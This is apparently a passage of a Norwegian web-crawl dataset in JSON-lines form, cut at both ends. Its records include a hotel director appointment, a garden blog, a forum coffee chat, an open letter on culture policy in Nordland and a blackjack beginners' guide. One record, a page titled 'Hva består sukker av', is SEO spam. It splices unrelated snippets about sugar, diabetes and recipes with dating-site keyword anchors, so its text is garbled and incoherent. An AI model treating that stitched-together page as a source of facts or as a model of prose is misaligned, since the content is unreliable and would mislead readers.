er.\n\n**M\u00e5ling av inneklima  \n", "language": "no", "__index_level_0__": "2bdf78c3-21fd-4027-a69a-d732e1762766"}
{"url": "http://hsmai.no/2017/04/21/ny-hotelldirektor-tar-over-roret-pa-amerikalinjen/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00111.warc.gz", "warc_date": "2018-03-24T23:45:43Z", "text": "**Wilhelm Hartwig, som har lang fartstid i hovedstadens hotellbransje, har nettopp takket ja til stillingen som hotelldirekt\u00f8r p\u00e5 Petter Stordalens seneste Oslo-prosjekt, Amerikalinjen, if\u00f8lge en pressemelding fra Nordic Hotels & Resorts.**\n\n\u2013 Det er med skrekkblandet fryd jeg g\u00e5r inn i dette prosjektet, men jeg er trygg p\u00e5 at vi frem til \u00e5pning skal tiltrekke oss de aller beste medarbeiderne i Norge. Mennesker som brenner for service og mangfold, og som forst\u00e5r verdien av autentisitet, for \u00e5 kunne skape unike gjesteopplevelser. Jeg gleder meg enormt til \u00e5 f\u00e5 lede utviklingen av hotellet, og ser frem til \u00e5 v\u00e6re med \u00e5 sette Amerikalinjen p\u00e5 kartet, sier\u00a0Hartwig.\n\nHan begynte i hotellbransjen som \u00abbellman\u00bb i 2001, men har siden den gang steget i gradene. De siste fem \u00e5rene har han utmerket seg i en rekke ulike stillinger, og demonstrert en unik lidenskap og teft for hotelldrift, senest som hotelldirekt\u00f8r for Clarion Collection Hotel Folketeateret og Clarion Collection Hotel Gabelshus i Oslo.\n\n\u2013 Clarion Collection gratulerer Wilhelm s\u00e5 mye med spennende utfordringer, og takker for engasjement og begeistring, b\u00e5de p\u00e5 Clarion Collection Hotel Gabelshus og Clarion Collection Hotel Folketeateret. Han\u00a0har v\u00e6rt en stor bidragsyter p\u00e5 disse hotellene, og begge har hatt fin utvikling under hans ledelse, sier Tina V\u00e5tvik Olsen, driftsdirekt\u00f8r i Clarion Collection Norge.\u00a0**Teksten fortsetter under bildet.**\n\n\n\nDet gule signalbygget midt p\u00e5 Jernbanetorget, rommet i sin tid kontoret til sv\u00e6rt tradisjonsrike Den Norske Amerikalinje. N\u00e5 skal bygget gjennom en transformasjon, men bakgrunnen gj\u00f8r at mennesker i bevegelse blir en sentral del av DNA-et til det nye hotellet. Amerikalinjens 124 rom vil by p\u00e5 sentral beliggenhet, \u00abking size service\u00bb og et gener\u00f8st restaurant- og bartilbud, for b\u00e5de hotellgjester og Oslos befolkning.\n\n\u2013 Vi er sv\u00e6rt begeistret for \u00e5 ha Wilhelm p\u00e5 teamet. Hans bakgrunn vitner om et lederskap som inspirerer dem rundt ham, driver resultater og spisser konsepter. Han er med andre ord helt rett for dette prosjektet, og vi ser frem til \u00e5 f\u00f8lge ham i utviklingen av hotellet, forteller Trond Bastiansen, Chief Operating Officer i Nordic Hotels & Resorts, som driver Amerikalinjen.\n\nHartwig tiltrer stillingen 1. August 2017, og Amerikalinjen \u00e5pner d\u00f8rene sommeren 2018.\n\n***Toppfoto:****\u00a0Wilhelm Hartwig blir Amerikalinjens hotelldirekt\u00f8r. Fotograf: Marcin Ptak.*\n\n Posted in Hotell, Nyheter, Reiseliv, Toppsaker   Tagged Amerikalinjen, Nordic Hotels & Resorts, Oslo, Wilhelm Hartwig \n\n", "language": "no", "__index_level_0__": "6f36eef8-1c6a-4ef4-a23d-a1a26593f613"}
{"url": "http://turbolotte.blogspot.com/2012/04/vartegn-selv-om-det-ikke-kjennes-slik.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00596.warc.gz", "warc_date": "2018-03-24T23:20:49Z", "text": "## fredag 20. april 2012\n\n### V\u00e5rtegn. Selv om det ikke kjennes slik ut\n\n\n\nPrimulaen jeg fikk av Audi i fjor, var den siste som blomstret i gamlehagen, og den f\u00f8rste som blomstrer n\u00e5 i nyhagen.  \nR\u00e5dyrene har ikke v\u00e6rt \u00e5 rasert her enda. S\u00e5 fremdeles st\u00e5r de i fred, heldigvis.  \nSkulle gjerne hatt navnet p\u00e5 denne, anyone?  \n  \n\n\n\n  \nOg denne.. utrolig lekker. Litt annerledes enn de vanslige gule og hvite pinseliljene ja. Men de er litt tunge i blomsten, s\u00e5 det er en litt s\u00e5nn typisk: \"liggenedep\u00e5bakkenogkikkeopplante\".\u00a0 Men helt utrolig at disse blomstrer selv om det er bitende kaldt for tiden.  \n  \nMen ikke mye annet vokser noe s\u00e6rlig i hagen. Det hele har stoppet litt opp.  \n  \nDisse gode gamle \"sliterne\" var de eneste l\u00f8kplantene som sto her fra f\u00f8r. Kanskje s\u00e5 f\u00e5 pga R\u00e5dyrene. Men jeg gir ikke opp kampen jeg\\!\\!  \n  \n\n\n\n  \nFikk et tips om \u00e5 male noen treplater med et motiv av bakparten p\u00e5 et r\u00e5dyr, og sette dette opp mot r\u00e5dyrstiene. Dette skulle visst gi signaler om et redd r\u00e5dyr, og skremme dem vekk. Noen som har erfaring med dette?\n\n\n\n\nBente sa...\n\nJeg tror ikke r\u00e5dyr like primula..og det er en gul blomst,ballblom,kanskje de heller ikke spiser.  \nHar ikke pr\u00f8vd r\u00e5dyrbak,men har hatt hund i hagen,likevel kom de ned hvis hunden stod i b\u00e5nd..  \nLykke til,er sikker p\u00e5 att du f\u00e5r hagen flott p\u00e5 tross av dyra\\!\n\n 20. april 2012 kl. 21:13    \n\n", "language": "no", "__index_level_0__": "2fc6d75a-6cbb-411c-afb7-e8ccefaf0823"}
{"url": "https://strandos.blog/2012/06/27/kaldt/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00353.warc.gz", "warc_date": "2018-03-24T23:23:14Z", "text": "Lagt ut den 27. juni 201227. juni 2012 av Jens-Chr\n\n# Kaldt\n\n\n\nDet var vinter i Halden for noen \u00e5r siden at dette bildet ble tatt. Isen l\u00e5 som en tynn hinne p\u00e5 vannet.\n\n", "language": "no", "__index_level_0__": "115776c0-e0fe-4f67-a82f-be80524fab96"}
{"url": "https://kommunal-rapport.no/meninger/debatt/2018/02/velkommen-til-nordland-trine", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00309.warc.gz", "warc_date": "2018-03-24T23:15:30Z", "text": "Debatt. Vi ser med stor iver p\u00e5 forslagene til hva de nye regionene kan f\u00e5 ansvar for innen kulturfeltet.\n\n5.3 2018 08:38\n\n\n\n#### Aase Refsnes (SV)\n\nfylkesr\u00e5d for kultur, milj\u00f8 og folkehelse\n\nVi har stor tro p\u00e5 at kultur og reiseliv kan l\u00f8fte hverandre og skape merverdi.\n\nGratulerer som kulturminister, Trine Skei Grande\\! Vi regner med at du allerede har f\u00e5tt m\u00f8te mange som st\u00e5r p\u00e5 for kultur og idrett rundt om i landet.\n\nI Nordland er vi beredt, og jeg har stor tiltro til at vi sammen f\u00e5r p\u00e5 plass en kulturpolitikk som tar st\u00f8rre plass i samfunnsutviklingen.\n\nJeg har en liten gavepakke til deg med spennende ting som skjer i Nordland. Bod\u00f8 satser p\u00e5 \u00e5 bli Europeisk kulturhovedstad i 2024, SKREI, krysningen mellom kultur og folkehelse, og Alpin-VM i Narvik 2025. Felles er at de vil gi oss store muligheter innenfor reiselivs- og kulturn\u00e6ringer.\n\nHvis fylkeshovedstaden utpekes til Europeisk kulturhovedstad, vil den v\u00e6re den f\u00f8rste byen nord for polarsirkelen som f\u00e5r statusen. Dette kan gi landsdelen og nasjonen en unik mulighet til \u00e5 heve arktisk kultur og samarbeid.\n\nSKREI skal bli et stort, nasjonalt opplevelsessenter i Lofoten som skal fokusere p\u00e5 fiskerienes betydning for norsk \u00f8konomi og kulturhistorie. Betydningen av lofotfisket i det norske samfunnet og for den europeiske befolkningen er dessverre altfor lite kommunisert.\n\nI Nordland har vi en sterk kopling mellom kultur og folkehelse. Fokuset p\u00e5 psykisk helse \u00f8ker, og det er viktig \u00e5 finne tiltak som skaper oppmerksomhet og \u00e5penhet rundt temaet. Vi har startet et godt arbeid her i Nordland med blant annet \u00abGod nok\u00bb-festivalen. Men vi vil gjerne diskutere hvordan vi kan bli endret bedre, og hvordan v\u00e5re erfaringer kan f\u00e5 verdi for andre.\n\nAlpin-VM i Narvik i 2025 legger opp til et fantastisk idrettsarrangement i vakre omgivelser. Vi har stor tiltro p\u00e5 at slike arrangement vil v\u00e6re med p\u00e5 \u00e5 \u00f8ke idrettsinteressen i Nord-Norge. Mulig vil dette ogs\u00e5 inspirere noen kommende OL deltakere fra nord\\!\n\nVi har stor tro p\u00e5 at kultur og reiseliv kan l\u00f8fte hverandre og skape merverdi. I Nordland har vi mange gode og varierte festivaler innenfor, musikk, litteratur, dans og teater som har et stort utviklingspotensial. Se bare p\u00e5 hva Tr\u00e6nafestivalen har f\u00e5tt til\\!\n\nMuseene m\u00e5 ogs\u00e5 i st\u00f8rre grad anses som viktig akt\u00f8r i satsingen p\u00e5 reiselivs- og opplevelsesn\u00e6ringer. For at vi skal f\u00e5 til \u00e5 realisere dette, er vi avhengig av at vi spiller p\u00e5 lag og drar lasset sammen.\n\nVi ser med stor iver p\u00e5 forslagene til hva de nye regionene kan f\u00e5 ansvar for innen kulturfeltet. Nordland fylkeskommune er klar til \u00e5 ta imot nye oppgaver som styrker v\u00e5r rolle som samfunnsutvikler.\n\nDet kulturpolitiske arbeidet i Nordland er vitalt og i full utvikling. I disse dager legger fylkesr\u00e5det fram v\u00e5r fem\u00e5rige kulturstrategi. Vi har et godt samarbeid med de andre to nordligste fylkene gjennom Landsdelsr\u00e5det for kultur. Vi har utarbeidet en felles nordnorsk litteraturstrategi, og vi jobber i fellesskap om \u00e5 etablere en nordnorsk filmkommisjon.\n\nDu er alltid hjertelig velkommen til Nordland\\!\n\n## Delta i debatten\n\nVi overv\u00e5ker denne debatten kontinuerlig mellom kl. 07 og 24. Kommentarfeltet er n\u00e5 stengt og \u00e5pner igjen kl. 07.00. Velkommen tilbake da\\!\n\n", "language": "no", "__index_level_0__": "b42b588f-9158-4d0a-a1db-839fbcf413f2"}
{"url": "http://www.foreldreportalen.no/forum/blog.php?b=48710", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00630.warc.gz", "warc_date": "2018-03-24T23:22:08Z", "text": "# Toffe\n\nKaffestuggu er \u00e5pen d\u00f8gnet rundt for kaffe, vin, te, \u00f8l, brus, vann eller bare skravling. Alle, b\u00e5de nye og gamle, er hjertelig velkomne her\\! Bloggen er helt \u00e5pen og kan, som alle \u00e5pne blogger, ogs\u00e5 leses av ikke-FP-medlemmer og Google.  \n  \nBloggen tilh\u00f8rer ikke ett bestemt medlem, men drives av moderatorteamet i fellesskap, og den \u00e5pnes hver morgen av den f\u00f8rste i teamet som f\u00f8ler for det. Kaffestuggu har ofte \u00e5pent p\u00e5 kveldstid ogs\u00e5, s\u00e6rlig i helgene.\n\n# Toffe\n\n\nMorgen   \n  \nV\u00e5tt, m\u00f8rkt, seint ute, tr\u00f8tt, bad hair day og generelt bad day. H\u00e5per kaffen p\u00e5 jobb leverer, for\u00e5sidets\u00e5nn.  \n  \n  \nKvitre, kvitre\\!   \n  \n  \nN\u00e6h, fake it til you make it funka heller ikke. \n\nPostet 23-11-17 kl 08:54 av Timar \n\n\n\nGod morgen.  \nJeg kan kvitre litt da  Skal p\u00e5 m\u00f8te kl 9 og har god tid, deilig. Pr\u00f8ver \u00e5 ikke tenke p\u00e5 alt det som ikke er gjort...  \nUte har det heldigvis blitt mildere og h\u00e5per isen er borte, var livsfarlig \u00e5 kj\u00f8re hjem fra jobb ig\u00e5r.\n\nPostet 23-11-17 kl 08:57 av Trixie \n\n\n\n\n\nP\u00e5 jobb. Vinterdekk p\u00e5 sykkelen, men bilen vant i dag likevel. Jaja, nye sjanser i morgen.  \n  \nJeg har kaffe og skal skrive et viktig tilbud. F\u00e5r vi det, kan vi senke skuldrene for 2108. Wish me luck\\! \n\n\n\nHeia Eia\\! \n\n\n\nMorn\\! Jeg hadde en veldig hyggelig kveld med Poden i g\u00e5r, vi spiste Sara-middag og var p\u00e5 kjempebra konsert p\u00e5 Ingensteds, der jeg traff flere gamle kolleger (som var der p\u00e5 anbefaling fra mannen min) og et vennepar fra Trondheim. Poden var ogs\u00e5 forn\u00f8yd med sin f\u00f8rste konsert av det slaget, og han har fri de f\u00f8rste par timene i dag, s\u00e5 vi trengte ikke engang \u00e5 st\u00e5 fullt s\u00e5 tidlig opp som vanlig. \n\n\n\n\n\nJeg har gjemmekontor i dag, etter \u00e5 ha innsett i g\u00e5r at det ikke fristet \u00e5 bevege seg ut i regn og vind. Ikke noe i n\u00e6rheten av v\u00e6ret lenger nord, men nok til at jeg v\u00e5knet av at det bl\u00e5ste i natt.\n\n\n\nHuhei for et guffent v\u00e6r. All medf\u00f8lelse til dem lenger nord som sliter med Ylva. \n\nGod formiddag fra venterommet hos legen\\! Sm\u00e5tt slitsom arbeidsdag venter, men med utsikt til bobler i andre enden. Det hjelper. \n\n\n\nJeg sitter p\u00e5 todagers seminar med jobben og pr\u00f8ver \u00e5 v\u00e6re positiv. Men det holder litt hardt. Jeg har for mye \u00e5 gj\u00f8re, b\u00e5de p\u00e5 jobb og hjemme, og innholdet her er litt for lite rel\u00e9vant. Men jeg har heldigvis satt meg s\u00e5nn at jeg kan jobbe underveis og det er jo hyggelig \u00e5 v\u00e6re sammen med kollegaer. :krampepositiv:\n\n\n\n\n\nJeg ble litt nerv\u00f8s av vindkastene, s\u00e5 jeg gikk ut og tok av sikkerhetsnettet p\u00e5 trampolina. Vi har vindsikring p\u00e5 den, men det var n\u00e5 greit \u00e5 gi vinden litt mindre \u00e5 ta tak i likevel. Og egentlig godt \u00e5 f\u00e5 litt utetid p\u00e5 tross av regn og vind.\n\n\n\nJeg HATER de som spiller sanger de ikke kan p\u00e5 T-banen. :grinebiter:  \n  \nQuando quando quando i glidende overgang til en reinlender p\u00e5 torader og tamburin? Me thinks not.\n\nJeg er s\u00e5 enig med deg, Palmen. Det nesten s\u00e5 jeg f\u00e5r lyst til \u00e5 bli voldelig\\!\\!\n\n\n\nNy jobb er travelt gitt, men g\u00f8y.\n\n", "language": "no", "__index_level_0__": "ac8ea448-34df-4b31-8ef0-c6c7529d52fe"}
{"url": "http://help4writers.com/704-hva-bestr-sukker-av.php", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00596.warc.gz", "warc_date": "2018-03-24T23:45:24Z", "text": "# Hva best\u00e5r sukker av\n\nHva slags sukker tilsettes i yoghurten? Sukkerartene i en yoghurt best\u00e5r som regel av laktose, tilsatt sukker og eventuelt fruktose fra frukt og b\u00e6r som er tilsatt for smakens skyld. Det mest interessante er \u00e5 se hvor mye sukker yoghurten er tilsatt, etter som det er det tilsatte sukkeret vi b\u00f8r redusere inntaket av. Hvordan kan jeg\u00a0 huckleberry finn release date 9. nov 2010 Hensikt: Finne ut hva n\u00e6ringsstoffer sukker best\u00e5r av. Utstyr: propanbrenner, fyrstikker, treklype, reagensglass og sukker. Framgangsm\u00e5te: Finn en propanbrenner. Ta ca. 1 ts sukker i et reagensglass. Hold reagensglasset med en treklype over varmen fra propanbrenneren. Resultat: Hva skjer med sukkeret\u00a0 kj\u00e6resten min kutter seg\n\nsweden chat app De fleste kirker i Norge i dag bruker nattverdbr\u00f8d som best\u00e5r av ris, potet, mais og sukker. Det finnes ikke noe vanlig mel i dette nattverdbr\u00f8det, og det har. Er det slik at den som ikke t\u00e5ler nesten noe som helst kan f\u00e5 gitt nesten hva som helst som \"Jesu legeme\". Er det noen som helst grenser? Eller er det slik at Jesus selv\u00a0\n\nkristen doute dating aleks Utligner sukker en del av effekten av thc og man blir mere slapp etter en liten stund (pga. blodverdiene, hva som skjer med kroppen etter inntak av sukker i leveren og hjernen). The \"good feeling\" blir liksom .. Du har sukkerstoff, som best\u00e5r av b\u00e5de langkjedete og kortkjedete sukker stoffer. Sukkeret skal passere tarmen for\u00a0 Jeg mener \u00e5 huske at sukkerarter best\u00e5r av keton eller aldehydgrupper, dette gir grunnlaget for hvorfor jeg mener det er et hydrokarbon. EDIT: Oksygenmettet kan vel erstattes med oksygenbalanseres elelr noe i den dur, karbonmettet kan vel erstattes med noe langt som \"Veldig mange karbonatom, noe\u00a0\n\n16\\. aug 2016 Tenk p\u00e5 at det er ca fire appelsiner i ett glass juice \u2013 det er mye fruktsukker p\u00e5 en gang. Det er ogs\u00e5 verd \u00e5 titte n\u00e6rmere p\u00e5 hva juicen best\u00e5r av. Det sier seg selv at fruktjuice inneholder mer sukker enn gr\u00f8nnsaksjuice. Har du en egen juicemaskin kan du enkelt lage egen juice med mindre sukker. w dating for party Karbohydrater er kroppens raskeste energikilde. Det er ogs\u00e5 grunnen til at vi ofte har lyst p\u00e5 noe s\u00f8tt n\u00e5r vi er slitne. Sukker gir oss energi sv\u00e6rt raskt. Karbohydrater er fellesnavnet p\u00e5 en gruppe forbindelser som best\u00e5r av grunnstoffene karbon, hydrogen og oksygen. Navnet karbohydrat kommer fra karbo = karbon og\u00a0 I 1998 satte WHO nye verdier for hva som regnes som diabetes (sukkersyke). Dersom man har et fastende blodsukker over 7.0 mmol/l, har man diabetes. Om din lege fastsl\u00e5r at du har diabetes, tas det en del andre pr\u00f8ver i tillegg, blant annet blir kolesterolet m\u00e5lt \u2013 b\u00e5de HDL og LDL, i tillegg til at triglyserider blir sjekket.\n\ngratis kontaktannonser norge classic 31. aug 2015 Brunt sukker 1. september 2015 kl. 01:43. OY det turnes inni meg ogs\u00e5 :) s\u00e5 lekkert s\u00e5 g\u00f8y at det fins s\u00e5nne godbiter dr\u00f8mmer kos dere og nyt sola s\u00e5 god du kan min venn klem Eli:) SvarSlett \u00b7 Hos Jorunn 1. september 2015 kl. 04:02. Lekkert, Tove\\! Det er g\u00f8y \u00e5 dr\u00f8mme seg bort og planlegge litt for\u00a0 10. sep 2007 jeg er gravid i ca uke 8 fikk i dag vite at jeg har sukker i kommer dette av og er det veldig skadelig for fostret? Denne testen best\u00e5r i at man m\u00f8ter fastende og m\u00e5ler blodsukkeret, og s\u00e5 drikker man en tilm\u00e5lt mengde vann med glukose, venter i 2 timer helt i ro, og s\u00e5 m\u00e5les blodsukkeret igjen.\n\nHei, Sukker og andre raske karbohydrater gj\u00f8r meg oppbl\u00e5st og hard i magen. Jeg har tenkt \u00e5 slutte Karbohydrater best\u00e5r av sukker og stivelse. Kroppen bruker . Men det g\u00e5r veldig fint for tiden, pleier \u00e5 tenke p\u00e5 hva jeg skal spise i l\u00f8pet av en dag istedenfor \u00e5 ta spontane mellomm\u00e5ltider osv. Vi f\u00e5r se\u00a0 senior intermediate results date N\u00e6ringsgruppene. Karbohydrater: Rask energi, raskt oppbrukt. Energi fra planter og frukt, lagres lett, innvirker p\u00e5 blodsukkerbalansen, kan skape avhengighet ved inntak av konsentrerte mengder, slik som raffinert og konsentrert sukker, mel og t\u00f8rket frukt eller fruktsafter og frukt eller fruktose/glukosesirup. Fiber: S\u00f8rger for\u00a0 28. okt 2017 Sukkeret best\u00e5r av glukose, fruktose og mest sukrose (forhold 20:15:65). Mens umodne, gr\u00f8nne bananer har et stivelsesinnhold p\u00e5 n\u00e6r 24 % og kun 6 % sukker, vil den modne bananen innholde 3 % stivelse og 21% sukker. Modnes bananen videre, s\u00e5 s\u00e5 finnes det knapt noe stivelse igjen. Dette gj\u00f8r ogs\u00e5\u00a0\n\n18\\. des 2014 Blandingen best\u00e5r av saften fra sukkerbete blandet med veisalt. If\u00f8lge Akzonobel skal blandingen bremse fryseprosessen p\u00e5 veiene, og gj\u00f8re sn\u00f8 til slaps i stede for is. Noe selskapet mener vil kunne halvere frostskader p\u00e5 veiene. Den er allerede testet p\u00e5 veier i Nederland, Danmark og \u00d8sterrike med god\u00a0 gratis datingsider p\u00e5 nett pris Brente mandler \u2013 helt uten sukker\\! I \u00e5r, som i fjor, blir det noen sukkerfrie alternativer til jul her. Ikke bare det, alts\u00e5, karemellene som skal diskes sammen i morgen best\u00e5r vel 100% av sukker, men jeg synes det er greit med litt variasjon. S\u00e5 lenge det smaker godt. Ulempen med sukkerfri bakst er nemlig at man fort kan f\u00e5 en\u00a0 19. apr 2017 P\u00e5sken som alle andre h\u00f8ytider best\u00e5r av mye s\u00f8tsaker og mat en ellers ikke spiser s\u00e5 ofte. Den ene gruppen t\u00e5ler sukker og karbohydrater godt, f\u00f8ler karbohydrater som lyst br\u00f8d, hvit ris og sukker er bra drivstoff, og klarer fint \u00e5 ta en rute melkesjokolade og la resten bli liggende i Hva tror du skjer da?\n\ncan i date a non christian Denne simple desserten som kun best\u00e5r av vispet egg og sukker danner basen for en haug av \u00f8vrige desserter og kaker. Tilsett hvetemel og Regne ut kvadratrot. Hva er kvadratrot? Kvadratroten av et tall vil si det tallet du m\u00e5 multiplisere (gange) med seg selv for \u00e5 f\u00e5 tallet du er ute etter. Kvadratrot skrives \u221a. De.7. jun 2015 Din helse p\u00e5virkes i h\u00f8yeste grad av hva du spiser. Du b\u00f8r derfor v\u00e6re De andre nevnte \u00abs\u00f8tkildene\u00bb vil derimot gi en blodsukkerstigning, men noe mindre enn hva tilfellet er for raffinert sukker. Bruk gjerne nevnte P\u00e5 AKS best\u00e5r for eksempel maten av God morgen yoghurt, cornflakes etc. Man f\u00e5r bare\u00a0\n\n4\\. des 2015 Men hva er det som skjer n\u00e5r vi smelter sukker? Den kjemiske strukturen for sukrose ,ogs\u00e5 kjent som sukker. Det viser seg at det er en komplisert prosess, som best\u00e5r av mange ulike reaksjoner. Sukkeret g\u00e5r fra \u00e5 v\u00e6re i fast form til \u00e5 bli flytende. Endring av sterokjemisk konfigurasjon av sukkermolekylene. dating advice questions and answers 9. mar 2016 SUKKERSJOKK: Disse produktene med t\u00f8rket frukt, som Bama og Brynhild Gruppen st\u00e5r bak, er tilsatt store mengder sukker. \u00abVerstingen\u00bb er tropisk fruktmiks som er tilsatt En annen vesentlig forskjell mellom t\u00f8rket og frisk frukt, er at frisk frukt best\u00e5r av mye vann. Under t\u00f8rking s\u00e5 fordampes mye av dette\u00a0\n\nfree online dating site Maltodekstrin = sukker? Jeg lurer p\u00e5 om maltodekstrin er en sukkerart? Jeg har tidligere h\u00f8rt at det er komplekse karbohydrater og at det best\u00e5r av stivelse utvunnet fra f eks hvete, mais, potet osv Grunnen til at jeg sp\u00f8r er . \"For hva vet vi egentlig om glykemisk indeks? I et st\u00f8rre gjennomgang av 31\u00a0Hva er tagatose? Tagatose er helt naturlig og finnes i blant annet epler, appelsiner og ananas. Det blir utvunnet av laktose, som vi finner i meieriprodukter. Det endelige produktet inneholder imidlertid ingen spor av laktose og er derfor 100% laktosefritt. Smaken er naturlig og god, og kan sammenlignes med ekte sukker. For 2 dager siden Hun har kanskje trodd at hun var med i Svanesj\u00f8en, ballerinaen som har sneket seg inn om en feil p\u00e5 det store bildet. Men bildet viser slett ikke en sj\u00f8 full av.\nm\u00f8teplassen.com logg inn 16. feb 2012 Og sammenligne sprit, tj\u00e6ra tobbak noe som ikke har noe med kroppen v\u00e5res og kj\u00f8re med noe vi faktisk best\u00e5r av. Sukker .. Og alle vi andre b\u00f8r stoppe opp og tenke over hva slags samfunn vi egentlig \u00f8nsker oss, om sukker f\u00f8rer til en god lykkef\u00f8lelse og hva vi \u00f8nsker for v\u00e5re barn og barnebarn. I et av\u00a0 11. aug 2017 Disse p\u00e5leggene best\u00e5r stort sett bare av sukker og fett, og veldig lite andre n\u00e6ringsstoffer. For aktive barn som spiser sunt ellers, er det selvf\u00f8lgelig ikke s\u00e5\u00a8farlig \u00e5 spise en skive med s\u00f8tp\u00e5legg innimellom. Men, hva skjer n\u00e5r man f\u00f8rst har kj\u00f8pt en boks med et av disse p\u00e5leggene? Klarer man \u00e5 la det st\u00e5,\u00a0\nTittel: Sukker Skrevet av: Peter123456 p\u00e5 20. juli 2005, 15:12 som vanlig hvit sukker (raffinert). S\u00e5 her kommer da sp\u00f8rsm\u00e5let mitt, hva er forskjellen p\u00e5 sukkeret i vannmelonen og vanlig hvit sukker du kj\u00f8per i butikken? Det hvite sukkeret du kj\u00f8per i butikken er sukrose, som best\u00e5r av 50/50 glukose og fruktose. Sukkeret\u00a0 vennskaps ring De skal si noe om hva de liker. Og de liker s\u00f8tt. \u2013 P\u00e5 smakstester med forbrukere ser vi ofte at de li- ker s\u00f8te produkter \u2013 jo mer sukker, desto bedre liker de produktet, sier Josefine Skaret, som leder laboratoriet. En teori er at vi f\u00e5r s\u00f8tsuget i oss gjennom morsmel- ken \u2013 det f\u00f8rste vi smaker er s\u00f8tt. Morsmelk best\u00e5r av syv.12. aug 2017 Et levesett som skal basere seg p\u00e5 det de mener er helt naturlig mat, og dermed ogs\u00e5 utelukker sukker, melk, korn, poteter, prosessert kj\u00f8tt og ferdig Hva er paleo? N\u00e5 har jeg allerede skrevet litt om dette i innlegget, men detter er alts\u00e5 det vi kaller steinalderkost. Et kosthold som skal v\u00e6re tiln\u00e6rmet det\u00a0\n\n15\\. des 2012 Hva er vel bedre enn en eksklusiv, fransk avslutning p\u00e5 et m\u00e5ltid? \"Cr\u00e8me br\u00fbl\u00e9e\" betyr \"brent krem\" p\u00e5 fransk og er en av verdens mest ber\u00f8mte desserter. \"Cr\u00e8me br\u00fbl\u00e9e\" best\u00e5r av nydelig, kremete vaniljepudding som dekkes med et brunt lokk av smeltet sukker. Det er slett ikke vanskelig \u00e5 lage denne\u00a0 hvor finne kj\u00e6reste hege 9. jan 2014 Og det som er s\u00e5 fantastisk med denne kaken er at den er uten vanlig sukker, mel eller melkeprodukter. En saftig kake som jeg aldri ville tippet at ikke inneholdt hvitt sukker, melk eller mel. Heia. Vet ikke hva slags forhold du har til sukker, men cocosa best\u00e5r vel ogs\u00e5 av sukker, bare fra en annen kilde?2. nov 2004 Og det er slett ikke bare kjente konsekvenser som fedme, diabetes og d\u00e5rlige tenner som kommer med sukkeret. Forfatterne av \"Sukker \u2014 en snikende fare\", Dag Viljen Poleszynski og Iver Mysterud, har en laaaang liste over hva sukkeret gj\u00f8r med kroppen v\u00e5r.- Selv om det er stor enighet blant fagfolk om\u00a0 Raske karbohydrater finnes i matvarer som hovedsakelig best\u00e5r av sukker og hvitt mel, som loff, godteri, brus, kaker og kjeks. De raske karbohydratene Gir du et barn p\u00e5 to \u00e5r et glass saft med tilsatt sukker, har du nesten n\u00e5dd maksimalgrensen for hva barnet burde f\u00e5 i seg av tilsatt sukker for den dagen. Litt sukker er det\u00a0\n\nSukkeret ga fra seg vann da vi varmet det opp, og dette vannet la seg som dr\u00e5per p\u00e5 innsiden av glasset. Vann best\u00e5r av grunnstoffene hydrogen og oksygen. Sukker best\u00e5r av grunnstoffene karbon, hydrogen og oksygen. H\u00f8r deg selv. 16 ? 1. Hva er viktig \u00e5 tenke p\u00e5 n\u00e5r du skal planlegge et fors\u00f8k? 2. Hva er en hypotese? finne p\u00e5 noe nytt med kj\u00e6resten SVAR: Hei Takk for ditt sp\u00f8rsm\u00e5l\\! Fruktose er et monosakkarid. Det betyr at det best\u00e5r av et sukkermolekyl. Det vi i dagligtalen omtaler som sukker best\u00e5r av et fruktosemolekyl og et glukosemolekyl.\nVanlig sukker best\u00e5r av en kombinasjon av like mengder fruktose og glukose. Disse to stoffene blir forbrent p\u00e5 helt forskjellig m\u00e5te. Det meste av glukosen forbrennes i musklene og i alle kroppens celler, mens fruktosen g\u00e5r til leveren. Her lagres overskuddet som fett. Dette kan kobles til flere negative effekter p\u00e5 helsa. sukker oslo anmeldelse 4. mai 2016 Mange b\u00e5de barn og voksne f\u00e5r i seg for mye sukker. Hva kan du gj\u00f8re for \u00e5 minske inntaket - og hvorfor b\u00f8r du gj\u00f8re det?\n\n", "language": "no", "__index_level_0__": "2153370e-8f92-44ff-b62c-09df07571023"}
{"url": "http://www.casinozx.com/no/blackjack-for-nybegynnere/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00375.warc.gz", "warc_date": "2018-03-24T23:46:22Z", "text": "# Blackjack for nybegynnere\n\nBlackjack er et sv\u00e6rt popul\u00e6rt bordspill , som ethvert casino med respekt for seg selv har i portef\u00f8ljen. De fleste vet hvordan blackjack fungerer i grove trekk, selv om om man kanskje ikke kjenner til alle detaljer i reglene. Det antas at variasjoner av dette spillet oppstod\u00a0 allerede p\u00e5 1600-tallet, og populariteten har \u00f8kt voldsomt i de senere \u00e5r. N\u00e5 spiller man ogs\u00e5 blackjack p\u00e5 online casinos p\u00e5 internett.\n\nBlackjack er et av de bordspill hvor spillerne ved hjelp av kunnskap og forskjellige taktikker\u00a0 kan redusere husets fordel betraktelig, og s\u00e5ledes \u00f8ke vinnersjansene . N\u00e5 tror du kanskje at du m\u00e5 v\u00e6re et matematisk geni som kan telle kort for \u00e5 kunne vinne.\u00a0 Men \u00e5 telle kort er faktisk ikke mulig p\u00e5 et online casino, og du kan komme langt med \u00e5 l\u00e6re deg reglene ordentlig, og holde deg til en element\u00e6r strategi.\n\n\n\n## Hvordan blackjack fungerer\n\nP\u00e5 internett spilles blackjack med enten en eller to kortstokker. Opp til 7 spillere kan delta \u2013i tillegg til dealeren. Spillet begynner med at hver spiller f\u00e5r utdelt to kort hver , og man pr\u00f8ve deretter \u00e5 f\u00e5 en h\u00f8yere h\u00e5nd enn dealeren, samtidig som man m\u00e5 unng\u00e5 att summen av ens kort blir h\u00f8yere enn 21. Om man kommer over 21, taper man innsatsen sin til huset, det gj\u00f8r man ogs\u00e5 om dealeren har en h\u00f8yere\u00a0 